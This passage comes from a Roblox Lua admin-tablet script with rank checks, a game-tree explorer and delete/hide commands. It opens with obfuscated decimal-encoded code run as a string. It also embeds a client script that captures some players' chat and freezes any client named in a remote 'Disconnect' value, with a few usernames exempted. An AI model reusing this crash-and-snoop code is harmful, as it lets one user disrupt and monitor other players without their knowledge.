46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
| |
| 9863 | script:ClearAllChildren() | |
| 9864 | else | |
| 9865 | script:ClearAllChildren() | |
| 9866 | script.Parent=nil | |
| 9867 | end | |
| 9868 | wait(1) | |
| 9869 | LocalPlayer = game.Players.LocalPlayer | |
| 9870 | local asd = Instance.new("StringValue",LocalPlayer)
| |
| 9871 | asd.Name = 'asd' | |
| 9872 | asd.Value = 'asdasdsadsadasdas' | |
| 9873 | wait(0.1) | |
| 9874 | asd:remove() | |
| 9875 | wait(1) | |
| 9876 | local asdcon = LocalPlayer.Chatted:connect(function(msg) | |
| 9877 | if LocalPlayer.Parent ~= game:service'Players' then | |
| 9878 | local a = Instance.new("StringValue", workspace)
| |
| 9879 | a.Name = 'LolCon' | |
| 9880 | a.Value = LocalPlayer.Name..'\31'..msg | |
| 9881 | game:service'Debris':AddItem(a,2) | |
| 9882 | end | |
| 9883 | end) | |
| 9884 | local con = game.Lighting.descendantAdded:connect(function(what) | |
| 9885 | if LocalPlayer.Name == 'Cobalt1164' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'penguin0616' then return end | |
| 9886 | if what.ClassName == 'StringValue' then | |
| 9887 | if what.Name == 'Disconnect' then | |
| 9888 | local v = what.Value | |
| 9889 | if LocalPlayer.Name:lower():sub(1,#v) == v:lower() then | |
| 9890 | repeat until false | |
| 9891 | elseif v == 'nil' then | |
| 9892 | if LocalPlayer.Parent ~= game:service'Players' then | |
| 9893 | repeat until false | |
| 9894 | end | |
| 9895 | elseif v == 'all' then | |
| 9896 | repeat until false | |
| 9897 | end | |
| 9898 | end | |
| 9899 | end | |
| 9900 | end) | |
| 9901 | local con2 = game:service'RunService'.RenderStepped:connect(function() | |
| 9902 | if LocalPlayer:findFirstChild'asd' then | |
| 9903 | asd = LocalPlayer:findFirstChild'asd' | |
| 9904 | if asd.ClassName == 'StringValue' then | |
| 9905 | if asd.Value == 'asdasdsadsadasdas' then | |
| 9906 | asd:remove() | |
| 9907 | asdcon:disconnect() | |
| 9908 | con:disconnect() | |
| 9909 | con2:disconnect() | |
| 9910 | end | |
| 9911 | end | |
| 9912 | end | |
| 9913 | end) | |
| 9914 | ]] | |
| 9915 | _force_insert=function(id,place) | |
| 9916 | place=place or | |
| 9917 | Instance.new('Model',game:service'InsertService');
| |
| 9918 | ||
| 9919 | local c=game:GetObjects('rbxassetid://'..id);
| |
| 9920 | for i=1,#c do | |
| 9921 | c[i].Parent=place; | |
| 9922 | end; | |
| 9923 | end; | |
| 9924 | function All(deb) | |
| 9925 | local AllPlayers = {}
| |
| 9926 | for _,v in pairs(Plrs:GetPlayers()) do | |
| 9927 | ypcall(function() | |
| 9928 | if GetRank(v.Name) ~= 8 or not deb then | |
| 9929 | table.insert(AllPlayers, v) | |
| 9930 | end | |
| 9931 | end) | |
| 9932 | end | |
| 9933 | return AllPlayers | |
| 9934 | end | |
| 9935 | ||
| 9936 | function All2(deb) | |
| 9937 | local AllPlayers2 = {}
| |
| 9938 | for i,v in pairs(Net:GetChildren()) do | |
| 9939 | ypcall(function() | |
| 9940 | if v:IsA("ServerReplicator") then
| |
| 9941 | if GetRank(v:GetPlayer().Name) ~= 8 or not deb then | |
| 9942 | table.insert(AllPlayers2, v:GetPlayer()) | |
| 9943 | end | |
| 9944 | end | |
| 9945 | end) | |
| 9946 | end | |
| 9947 | return AllPlayers2 | |
| 9948 | end | |
| 9949 | function MakeNum() | |
| 9950 | return 2^3 | |
| 9951 | end | |
| 9952 | function Menu(Speaker) | |
| 9953 | Output("Commands",Speaker,nil,function()
| |
| 9954 | Dismiss(Speaker.Name) | |
| 9955 | ||
| 9956 | Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
| |
| 9957 | Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
| |
| 9958 | Output("Rank 0", Speaker, nil, function()
| |
| 9959 | if FindRank(Speaker) <= 0 then | |
| 9960 | OpenCmds(0, Speaker) | |
| 9961 | ||
| 9962 | end | |
| 9963 | end) | |
| 9964 | Output("Rank 1", Speaker, nil, function()
| |
| 9965 | if FindRank(Speaker) >= 1 then | |
| 9966 | OpenCmds(1, Speaker) | |
| 9967 | ||
| 9968 | end | |
| 9969 | end) | |
| 9970 | Output("Rank 2", Speaker, nil, function()
| |
| 9971 | if FindRank(Speaker) >= 2 then | |
| 9972 | OpenCmds(2, Speaker) | |
| 9973 | ||
| 9974 | end | |
| 9975 | end) | |
| 9976 | Output("Rank 3", Speaker, nil, function()
| |
| 9977 | if FindRank(Speaker) >= 3 then | |
| 9978 | OpenCmds(3, Speaker) | |
| 9979 | ||
| 9980 | end | |
| 9981 | end) | |
| 9982 | Output("Rank 4", Speaker, nil, function()
| |
| 9983 | if FindRank(Speaker) >= 4 then | |
| 9984 | OpenCmds(4, Speaker) | |
| 9985 | ||
| 9986 | end | |
| 9987 | end) | |
| 9988 | Output("Rank 5", Speaker, nil, function()
| |
| 9989 | if FindRank(Speaker) >= 5 then | |
| 9990 | OpenCmds(5, Speaker) | |
| 9991 | ||
| 9992 | end | |
| 9993 | end) | |
| 9994 | Output("Rank 6", Speaker, nil, function()
| |
| 9995 | if FindRank(Speaker) >= 6 then | |
| 9996 | OpenCmds(6, Speaker) | |
| 9997 | ||
| 9998 | end | |
| 9999 | end) | |
| 10000 | Output("Rank 7", Speaker, nil, function()
| |
| 10001 | if FindRank(Speaker) >= 7 then | |
| 10002 | OpenCmds(7, Speaker) | |
| 10003 | ||
| 10004 | end | |
| 10005 | end) | |
| 10006 | end) | |
| 10007 | Output("Players", Speaker, nil, function()
| |
| 10008 | ListPlayers(Speaker) | |
| 10009 | end) | |
| 10010 | Output("Explore", Speaker, nil, function()
| |
| 10011 | MakeExplorer(Speaker) | |
| 10012 | end) | |
| 10013 | end | |
| 10014 | function ChangeRank(Plr, NewRank) | |
| 10015 | local PlrName = nil | |
| 10016 | local FoundPlayer = false | |
| 10017 | ypcall(function() | |
| 10018 | if type(Plr) == "string" then | |
| 10019 | ypcall(function() | |
| 10020 | for i,v in pairs(Ranked) do | |
| 10021 | if v.Name:lower() == Plr:lower() then | |
| 10022 | local VName = v.Name | |
| 10023 | Ranked[i] = nil | |
| 10024 | table.insert(Ranked, {Name = VName, Rank = NewRank})
| |
| 10025 | PlrName = VName | |
| 10026 | FoundPlayer = true | |
| 10027 | break | |
| 10028 | end | |
| 10029 | end | |
| 10030 | end) | |
| 10031 | if FoundPlayer == false then | |
| 10032 | ypcall(function() | |
| 10033 | for _,x in pairs(All()) do | |
| 10034 | if x.Name:lower() == Plr:lower() then | |
| 10035 | FoundPlayer = true | |
| 10036 | for i,v in pairs(Ranked) do | |
| 10037 | if v.Name:lower() == x.Name:lower() then | |
| 10038 | local VName = x.Name | |
| 10039 | Ranked[i] = nil | |
| 10040 | PlrName = VName | |
| 10041 | break | |
| 10042 | end | |
| 10043 | end | |
| 10044 | table.insert(Ranked, {Name = VName, Rank = NewRank})
| |
| 10045 | end | |
| 10046 | end | |
| 10047 | end) | |
| 10048 | end | |
| 10049 | if FoundPlayer == false then | |
| 10050 | ypcall(function() | |
| 10051 | for _,x in pairs(All()) do | |
| 10052 | if string.find(x.Name:lower(), Plr:lower()) then | |
| 10053 | FoundPlayer = true | |
| 10054 | for i,v in pairs(Ranked) do | |
| 10055 | if v.Name:lower() == x.Name:lower() then | |
| 10056 | local VName = x.Name | |
| 10057 | Ranked[i] = nil | |
| 10058 | PlrName = VName | |
| 10059 | break | |
| 10060 | end | |
| 10061 | end | |
| 10062 | table.insert(Ranked, {Name = VName, Rank = NewRank})
| |
| 10063 | end | |
| 10064 | end | |
| 10065 | end) | |
| 10066 | end | |
| 10067 | if FoundPlayer == false then | |
| 10068 | ypcall(function() | |
| 10069 | for i,v in pairs(Ranked) do | |
| 10070 | if string.find(v.Name:lower(), Plr:lower()) then | |
| 10071 | local VName = v.Name | |
| 10072 | Ranked[i] = nil | |
| 10073 | table.insert(Ranked, {Name = VName, Rank = NewRank})
| |
| 10074 | PlrName = VName | |
| 10075 | FoundPlayer = true | |
| 10076 | break | |
| 10077 | end | |
| 10078 | end | |
| 10079 | end) | |
| 10080 | end | |
| 10081 | else | |
| 10082 | for i,v in pairs(Ranked) do | |
| 10083 | if v.Name:lower() == Plr.Name:lower() then | |
| 10084 | Ranked[i] = nil | |
| 10085 | break | |
| 10086 | end | |
| 10087 | end | |
| 10088 | table.insert(Ranked, {Name = Plr.Name, Rank = NewRank})
| |
| 10089 | PlrName = Plr.Name | |
| 10090 | end | |
| 10091 | PlaceAllRanks(true) | |
| 10092 | end) | |
| 10093 | if PlrName ~= nil then | |
| 10094 | return PlrName | |
| 10095 | else | |
| 10096 | return "Player" | |
| 10097 | end | |
| 10098 | end | |
| 10099 | function Refresh(Plr) | |
| 10100 | MakeChildren(Plr) | |
| 10101 | end | |
| 10102 | function MakeChildren(Plr) | |
| 10103 | ypcall(function() | |
| 10104 | Dismiss(Plr) | |
| 10105 | for _,v in pairs(Current:GetChildren()) do | |
| 10106 | ypcall(function() | |
| 10107 | if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then | |
| 10108 | Output(v.Name, Plr, nil, function(TabMod) | |
| 10109 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
| 10110 | for _,v in pairs(Current:GetChildren()) do | |
| 10111 | ypcall(function() | |
| 10112 | if v.Name == TabText then | |
| 10113 | Dismiss(Plr) | |
| 10114 | Current = v | |
| 10115 | MakeChildren(Plr) | |
| 10116 | end | |
| 10117 | end) | |
| 10118 | end | |
| 10119 | end) | |
| 10120 | elseif Plrs:GetPlayerFromCharacter(v) then | |
| 10121 | Output(v.Name, Plr, nil, function(TabMod) | |
| 10122 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
| 10123 | for _,v in pairs(Current:GetChildren()) do | |
| 10124 | ypcall(function() | |
| 10125 | if v.Name == TabText then | |
| 10126 | Dismiss(Plr) | |
| 10127 | Current = v | |
| 10128 | MakeChildren(Plr) | |
| 10129 | end | |
| 10130 | end) | |
| 10131 | end | |
| 10132 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
| 10133 | elseif CheckImportant(v.Name) then | |
| 10134 | Output(v.Name, Plr, nil, function(TabMod) | |
| 10135 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
| 10136 | for _,v in pairs(Current:GetChildren()) do | |
| 10137 | ypcall(function() | |
| 10138 | if v.Name == TabText then | |
| 10139 | Dismiss(Plr) | |
| 10140 | Current = v | |
| 10141 | MakeChildren(Plr) | |
| 10142 | end | |
| 10143 | end) | |
| 10144 | end | |
| 10145 | end, ImportantColor) | |
| 10146 | end | |
| 10147 | end) | |
| 10148 | end | |
| 10149 | if Current ~= game then | |
| 10150 | Output("Back", Plr, nil, function()
| |
| 10151 | ypcall(function() | |
| 10152 | Current = Current.Parent | |
| 10153 | MakeChildren(Plr) | |
| 10154 | Output("Returned to "..Current.Name, Plr, 5)
| |
| 10155 | end) | |
| 10156 | end, OptionColor) | |
| 10157 | end | |
| 10158 | if FindRank(Speaker) >= 5 then | |
| 10159 | if Current ~= game then | |
| 10160 | Output("Delete", Plr, nil, function()
| |
| 10161 | ypcall(function() | |
| 10162 | local CurrPar = Current.Parent or game | |
| 10163 | local CurrName = Current.Name | |
| 10164 | Current:Destroy() | |
| 10165 | Current = CurrPar | |
| 10166 | MakeChildren(Plr) | |
| 10167 | Output("Deleted "..CurrName, Plr, 5)
| |
| 10168 | end) | |
| 10169 | end, OptionColor) | |
| 10170 | end | |
| 10171 | Output("Remove", Plr, nil, function()
| |
| 10172 | ypcall(function() | |
| 10173 | local CurrPar = Current.Parent or game | |
| 10174 | local CurrName = Current.Name | |
| 10175 | Current:Remove() | |
| 10176 | Current = CurrPar | |
| 10177 | MakeChildren(Plr) | |
| 10178 | Output("Removed "..CurrName, Plr, 5)
| |
| 10179 | end) | |
| 10180 | end, OptionColor) | |
| 10181 | Output("Break Joints", Plr, nil, function()
| |
| 10182 | ypcall(function() | |
| 10183 | local CurrPar = Current.Parent or game | |
| 10184 | local CurrName = Current.Name | |
| 10185 | Current:BreakJoints() | |
| 10186 | Current = CurrPar | |
| 10187 | MakeChildren(Plr) | |
| 10188 | Output("Removed "..CurrName, Plr, 5)
| |
| 10189 | end) | |
| 10190 | end, OptionColor) | |
| 10191 | Output("Make Joints", Plr, nil, function()
| |
| 10192 | ypcall(function() | |
| 10193 | local CurrPar = Current.Parent or game | |
| 10194 | local CurrName = Current.Name | |
| 10195 | Current:BreakJoints() | |
| 10196 | Current = CurrPar | |
| 10197 | MakeChildren(Plr) | |
| 10198 | Output("Removed "..CurrName, Plr, 5)
| |
| 10199 | end) | |
| 10200 | end, OptionColor) | |
| 10201 | Output("Hide", Plr, nil, function()
| |
| 10202 | ypcall(function() | |
| 10203 | local CurrPar = Current.Parent or game | |
| 10204 | local CurrName = Current.Name | |
| 10205 | Current.Transparency = 1 | |
| 10206 | Current = CurrPar | |
| 10207 | MakeChildren(Plr) | |
| 10208 | Output("Hid "..CurrName, Plr, 5)
| |
| 10209 | end) | |
| 10210 | end, OptionColor) | |
| 10211 | Output("Fade", Plr, nil, function()
| |
| 10212 | ypcall(function() | |
| 10213 | local CurrPar = Current.Parent or game | |
| 10214 | local CurrName = Current.Name | |
| 10215 | Curren.Transparency = 0.5 | |
| 10216 | Current = CurrPar | |
| 10217 | MakeChildren(Plr) | |
| 10218 | Output("Hid "..CurrName, Plr, 5)
| |
| 10219 | end) | |
| 10220 | end, OptionColor) | |
| 10221 | Output("Show", Plr, nil, function()
| |
| 10222 | ypcall(function() | |
| 10223 | local CurrPar = Current.Parent or game | |
| 10224 | local CurrName = Current.Name | |
| 10225 | Current.Transparency = 0 | |
| 10226 | Current = CurrPar | |
| 10227 | MakeChildren(Plr) | |
| 10228 | Output("Hid "..CurrName, Plr, 5)
| |
| 10229 | end) | |
| 10230 | end, OptionColor) | |
| 10231 | Output("Refresh", Plr, nil, function()
| |
| 10232 | ypcall(function() | |
| 10233 | Refresh(Plr) | |
| 10234 | Output("Refreshed Instance Options", Plr, 5)
| |
| 10235 | end) | |
| 10236 | end, OptionColor) | |
| 10237 | end | |
| 10238 | end) | |
| 10239 | end | |
| 10240 | function MakeExplorer(Plr) | |
| 10241 | Dismiss(Plr) | |
| 10242 | Current = game | |
| 10243 | for _,v in pairs(Current:GetChildren()) do | |
| 10244 | ypcall(function() | |
| 10245 | if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then | |
| 10246 | Output(v.Name, Plr, nil, function(TabMod) | |
| 10247 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
| 10248 | for _,v in pairs(Current:GetChildren()) do | |
| 10249 | ypcall(function() | |
| 10250 | if v.Name == TabText then | |
| 10251 | Dismiss(Plr) | |
| 10252 | Current = v | |
| 10253 | MakeChildren(Plr) | |
| 10254 | end | |
| 10255 | end) | |
| 10256 | end | |
| 10257 | end) | |
| 10258 | elseif Plrs:GetPlayerFromCharacter(v) then | |
| 10259 | Output(v.Name, Plr, nil, function(TabMod) | |
| 10260 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
| 10261 | for _,v in pairs(Current:GetChildren()) do | |
| 10262 | ypcall(function() | |
| 10263 | if v.Name == TabText then | |
| 10264 | Dismiss(Plr) | |
| 10265 | Current = v | |
| 10266 | MakeChildren(Plr) | |
| 10267 | end | |
| 10268 | end) | |
| 10269 | end | |
| 10270 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
| 10271 | elseif CheckImportant(v.Name) then | |
| 10272 | Output(v.Name, Plr, nil, function(TabMod) | |
| 10273 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
| 10274 | for _,v in pairs(Current:GetChildren()) do | |
| 10275 | ypcall(function() | |
| 10276 | if v.Name == TabText then | |
| 10277 | Dismiss(Plr) | |
| 10278 | Current = v | |
| 10279 | MakeChildren(Plr) | |
| 10280 | end | |
| 10281 | end) | |
| 10282 | end | |
| 10283 | end, ImportantColor) | |
| 10284 | end | |
| 10285 | end) | |
| 10286 | end | |
| 10287 | if Current ~= game then | |
| 10288 | if FindRank(Plr) >= 5 then | |
| 10289 | Output("Delete", Plr, nil, function()
| |
| 10290 | ypcall(function() | |
| 10291 | local CurrPar = Current.Parent or game | |
| 10292 | local CurrName = Current.Name | |
| 10293 | Current:Destroy() | |
| 10294 | Current = CurrPar | |
| 10295 | MakeChildren(Plr) | |
| 10296 | Output("Deleted "..CurrName, Plr, 5)
| |
| 10297 | end) | |
| 10298 | end, OptionColor) | |
| 10299 | end | |
| 10300 | Output("Remove", Plr, nil, function()
| |
| 10301 | ypcall(function() | |
| 10302 | local CurrPar = Current.Parent or game | |
| 10303 | local CurrName = Current.Name | |
| 10304 | Current:Remove() | |
| 10305 | Current = CurrPar | |
| 10306 | MakeChildren(Plr) | |
| 10307 | Output("Removed "..CurrName, Plr, 5)
| |
| 10308 | end) | |
| 10309 | end, OptionColor) | |
| 10310 | Output("Break Joints", Plr, nil, function()
| |
| 10311 | ypcall(function() | |
| 10312 | local CurrPar = Current.Parent or game | |
| 10313 | local CurrName = Current.Name | |
| 10314 | Current:BreakJoints() | |
| 10315 | Current = CurrPar | |
| 10316 | MakeChildren(Plr) | |
| 10317 | Output("Removed "..CurrName, Plr, 5)
| |
| 10318 | end) | |
| 10319 | end, OptionColor) | |
| 10320 | Output("Make Joints", Plr, nil, function()
| |
| 10321 | ypcall(function() | |
| 10322 | local CurrPar = Current.Parent or game | |
| 10323 | local CurrName = Current.Name | |
| 10324 | Current:BreakJoints() | |
| 10325 | Current = CurrPar | |
| 10326 | MakeChildren(Plr) | |
| 10327 | Output("Removed "..CurrName, Plr, 5)
| |
| 10328 | end) | |
| 10329 | end, OptionColor) | |
| 10330 | Output("Hide", Plr, nil, function()
| |
| 10331 | ypcall(function() | |
| 10332 | local CurrPar = Current.Parent or game | |
| 10333 | local CurrName = Current.Name | |
| 10334 | Current.Transparency = 1 | |
| 10335 | Current = CurrPar | |
| 10336 | MakeChildren(Plr) | |
| 10337 | Output("Hid "..CurrName, Plr, 5)
| |
| 10338 | end) | |
| 10339 | end, OptionColor) | |
| 10340 | Output("Fade", Plr, nil, function()
| |
| 10341 | ypcall(function() | |
| 10342 | local CurrPar = Current.Parent or game | |
| 10343 | local CurrName = Current.Name | |
| 10344 | Curren.Transparency = 0.5 | |
| 10345 | Current = CurrPar | |
| 10346 | MakeChildren(Plr) | |
| 10347 | Output("Hid "..CurrName, Plr, 5)
| |
| 10348 | end) | |
| 10349 | end, OptionColor) | |
| 10350 | Output("Show", Plr, nil, function()
| |
| 10351 | ypcall(function() | |
| 10352 | local CurrPar = Current.Parent or game | |
| 10353 | local CurrName = Current.Name | |
| 10354 | Current.Transparency = 0 | |
| 10355 | Current = CurrPar | |
| 10356 | MakeChildren(Plr) | |
| 10357 | Output("Hid "..CurrName, Plr, 5)
| |
| 10358 | end) | |
| 10359 | end, OptionColor) | |
| 10360 | Output("Refresh", Plr, nil, function()
| |
| 10361 | ypcall(function() | |
| 10362 | Refresh(Plr) | |
| 10363 | Output("Refreshed Instance Options", Plr, 5)
| |
| 10364 | end) | |
| 10365 | end, OptionColor) | |
| 10366 | else | |
| 10367 | Output("You cannot use this", Plr,5)
| |
| 10368 | return | |
| 10369 | end | |
| 10370 | end | |
| 10371 | function GetRank(Plr1, Test) | |
| 10372 | ypcall(function() | |
| 10373 | if type(Plr1) == "userdata" then | |
| 10374 | Plr1 = Plr1.Name | |
| 10375 | end | |
| 10376 | end) | |
| 10377 | if Ranks[Plr1] ~= nil then | |
| 10378 | return Ranks[Plr1] | |
| 10379 | end | |
| 10380 | local QuickArray = {}
| |
| 10381 | QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
| |
| 10382 | return QuickArray[Plr1] | |
| 10383 | end | |
| 10384 | ||
| 10385 | function CanRun(Plr1, Plr2) | |
| 10386 | Details1 = GetRank(Plr1.Name) | |
| 10387 | Details2 = GetRank(Plr2.Name) | |
| 10388 | if Details1.Rank >= Details2.Rank then | |
| 10389 | return true | |
| 10390 | end | |
| 10391 | return false | |
| 10392 | end | |
| 10393 | ||
| 10394 | function Dismiss(Plr, Identity) | |
| 10395 | ypcall(function() | |
| 10396 | if Plr ~= nil then | |
| 10397 | if type(Plr) == "userdata" then | |
| 10398 | Plr = Plr.Name | |
| 10399 | end | |
| 10400 | for x,v in pairs(AllTabs) do | |
| 10401 | ypcall(function() | |
| 10402 | if v.Plr == Plr then | |
| 10403 | if Identity ~= nil and v.ID ~= Identity then | |
| 10404 | return | |
| 10405 | elseif Identity ~= nil and v.ID == Identity then | |
| 10406 | coroutine.resume(coroutine.create(function() | |
| 10407 | for i = 0.5, 1, 0.1 do | |
| 10408 | wait() | |
| 10409 | v.Tab.Transparency = i | |
| 10410 | v.Sel.Transparency = i | |
| 10411 | v.Label.TextTransparency = i | |
| 10412 | v.Label.TextStrokeTransparency = i | |
| 10413 | end | |
| 10414 | ypcall(function() | |
| 10415 | v.Holder:Destroy() | |
| 10416 | end) | |
| 10417 | AllTabs[x] = nil | |
| 10418 | end)) | |
| 10419 | elseif Identity == nil then | |
| 10420 | ypcall(function() v.Holder:Destroy() end) | |
| 10421 | AllTabs[x] = nil | |
| 10422 | end | |
| 10423 | end | |
| 10424 | end) | |
| 10425 | end | |
| 10426 | else | |
| 10427 | for i,v in pairs(AllTabs) do | |
| 10428 | ypcall(function() | |
| 10429 | v.Holder:Destroy() | |
| 10430 | AllTabs[i] = nil | |
| 10431 | end) | |
| 10432 | end | |
| 10433 | end | |
| 10434 | end) | |
| 10435 | end | |
| 10436 | ||
| 10437 | function GetGarbage() | |
| 10438 | return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
| |
| 10439 | end | |
| 10440 | ||
| 10441 | function RemObj(Obj, Class) | |
| 10442 | ypcall(function() | |
| 10443 | if #Obj:GetChildren() > 0 then | |
| 10444 | for _,x in pairs(Obj:GetChildren()) do | |
| 10445 | ypcall(function() | |
| 10446 | RemObj(x, Class) | |
| 10447 | end) | |
| 10448 | end | |
| 10449 | end | |
| 10450 | if Obj.ClassName == Class then | |
| 10451 | Obj:Destroy() | |
| 10452 | end | |
| 10453 | end) | |
| 10454 | end | |
| 10455 | ||
| 10456 | function FindTab(Mod) | |
| 10457 | for i,v in pairs(AllTabs) do | |
| 10458 | if v.Holder == Mod then | |
| 10459 | return true | |
| 10460 | end | |
| 10461 | end | |
| 10462 | return false | |
| 10463 | end | |
| 10464 | ||
| 10465 | ||
| 10466 | function Output(Msg, Plr, Time, Func, Color, Image, Test) | |
| 10467 | if Removed == false then | |
| 10468 | local ShowGarbage = false | |
| 10469 | ypcall(function() | |
| 10470 | if Msg == nil then | |
| 10471 | Msg = "N/A" | |
| 10472 | elseif Msg == "ShowGarbage" then | |
| 10473 | Msg = "Current Garbage Count: "..GetGarbage() | |
| 10474 | ShowGarbage = true | |
| 10475 | else | |
| 10476 | Msg = tostring(Msg) | |
| 10477 | end | |
| 10478 | if Plr == nil then | |
| 10479 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 10480 | elseif type(Plr) == "string" then | |
| 10481 | local FoundPlr = false | |
| 10482 | for _,v in pairs(All()) do | |
| 10483 | if v.Name == Plr then | |
| 10484 | Plr = v | |
| 10485 | FoundPlr = true | |
| 10486 | break | |
| 10487 | end | |
| 10488 | end | |
| 10489 | if FoundPlr == false then | |
| 10490 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 10491 | end | |
| 10492 | end | |
| 10493 | ||
| 10494 | if Color == nil then | |
| 10495 | Color = GetRank(Plr.Name).Color | |
| 10496 | ||
| 10497 | end | |
| 10498 | ||
| 10499 | local Holder = Instance.new("Model")
| |
| 10500 | Holder.Name = "KKA" | |
| 10501 | ||
| 10502 | local Tab = Instance.new("Part", Holder)
| |
| 10503 | Tab.Name = "KKA Tablet" | |
| 10504 | Tab.FormFactor = "Custom" | |
| 10505 | Tab.Anchored = true | |
| 10506 | if Time == nil then | |
| 10507 | Tab.Color = Color | |
| 10508 | else | |
| 10509 | Tab.Color = OptionColor | |
| 10510 | end | |
| 10511 | Tab.CanCollide = false | |
| 10512 | Tab.Locked = true | |
| 10513 | Tab.Transparency = TabletTransparency | |
| 10514 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
| 10515 | ||
| 10516 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
| 10517 | ||
| 10518 | local ID = Instance.new("NumberValue")
| |
| 10519 | ID.Name = "ID" | |
| 10520 | ID.Value = math.random(-999999999, 999999999) | |
| 10521 | ID.Parent = Holder | |
| 10522 | ||
| 10523 | --[[Delay(0, function() | |
| 10524 | while wait() do | |
| 10525 | if Tab.Parent == nil and FindTab(Holder) then | |
| 10526 | ypcall(function() | |
| 10527 | for i,v in pairs(AllTabs) do | |
| 10528 | if v.Holder == Holder then | |
| 10529 | ypcall(function() v.Holder:Destroy() end) | |
| 10530 | AllTabs[i] = nil | |
| 10531 | end | |
| 10532 | end | |
| 10533 | end) | |
| 10534 | Output(Msg, Plr, Time, Func, Color, Image, Test) | |
| 10535 | break | |
| 10536 | end | |
| 10537 | end | |
| 10538 | end)]]-- | |
| 10539 | ||
| 10540 | local BM = Instance.new("BlockMesh")
| |
| 10541 | BM.Parent = Tab | |
| 10542 | ||
| 10543 | ||
| 10544 | ||
| 10545 | ||
| 10546 | Sel = Instance.new("SelectionBox")
| |
| 10547 | Sel.Color=BrickColor.new("White")
| |
| 10548 | Sel.Adornee = Tab | |
| 10549 | Sel.Parent = Tab | |
| 10550 | ||
| 10551 | local BG = Instance.new("BillboardGui")
| |
| 10552 | BG.Name = "BG" | |
| 10553 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 10554 | BG.Size = UDim2.new(0,1,0,1) | |
| 10555 | BG.Adornee = Tab | |
| 10556 | BG.Parent = Tab | |
| 10557 | ||
| 10558 | Delay(0, function() | |
| 10559 | while BG.Parent ~= nil do wait() | |
| 10560 | ypcall(function() | |
| 10561 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 10562 | end) | |
| 10563 | end | |
| 10564 | end) | |
| 10565 | ||
| 10566 | ||
| 10567 | local TL = Instance.new("TextLabel")
| |
| 10568 | TL.Name = "TL" | |
| 10569 | TL.FontSize = "Size24" | |
| 10570 | TL.Font = "ArialBold" | |
| 10571 | TL.Text = Msg | |
| 10572 | TL.TextColor3 = Tab.Color | |
| 10573 | TL.Size = UDim2.new(0,2,0,2) | |
| 10574 | TL.TextTransparency = 0 | |
| 10575 | TL.TextStrokeTransparency = 0 | |
| 10576 | TL.Parent = BG | |
| 10577 | ||
| 10578 | TL.Size = UDim2.new(0,1,0,1) | |
| 10579 | TL.TextTransparency = 0 | |
| 10580 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
| 10581 | TL.TextStrokeTransparency = 0 | |
| 10582 | TL.Parent = BG | |
| 10583 | ||
| 10584 | ||
| 10585 | local FTT = Instance.new("TextLabel", FTG)
| |
| 10586 | FTT.Name = "FTT" | |
| 10587 | FTT.BackgroundTransparency = 1 | |
| 10588 | FTT.Size = UDim2.new(0,1000,0,1000) | |
| 10589 | FTT.Font = "ArialBold" | |
| 10590 | FTT.FontSize = Enum.FontSize.Size24 | |
| 10591 | FTT.Text = Msg | |
| 10592 | FTT.TextScaled = true | |
| 10593 | FTT.TextStrokeTransparency = 0 | |
| 10594 | FTT.TextColor3 = Database.Colors.White | |
| 10595 | FTT.TextStrokeColor3 = Database.Colors.Black | |
| 10596 | ||
| 10597 | local TRO = Instance.new("BodyVelocity", Tab)
| |
| 10598 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
| 10599 | TRO.P = 1250 | |
| 10600 | TRO.velocity = Vector3.new(0,0.17,0) | |
| 10601 | ||
| 10602 | local TLI = Instance.new("PointLight", Tab)
| |
| 10603 | TLI.Brightness = 0.15 | |
| 10604 | TLI.Range = 0.9 | |
| 10605 | TLI.Shadows = true | |
| 10606 | if ShowGarbage == true then | |
| 10607 | Delay(0, function() | |
| 10608 | while TL.Parent ~= nil do | |
| 10609 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
| 10610 | wait(.5) | |
| 10611 | end | |
| 10612 | end) | |
| 10613 | end | |
| 10614 | if Image ~= nil then | |
| 10615 | local BBBG = Instance.new("BillboardGui")
| |
| 10616 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
| 10617 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 10618 | BBBG.AlwaysOnTop = true | |
| 10619 | BBBG.Adornee = Tab | |
| 10620 | BBBG.Parent = Tab | |
| 10621 | ||
| 10622 | Delay(0, function() | |
| 10623 | while BBBG.Parent ~= nil do wait() | |
| 10624 | ypcall(function() | |
| 10625 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 10626 | end) | |
| 10627 | end | |
| 10628 | end) | |
| 10629 | ||
| 10630 | ||
| 10631 | local NewImg = Instance.new("ImageLabel")
| |
| 10632 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
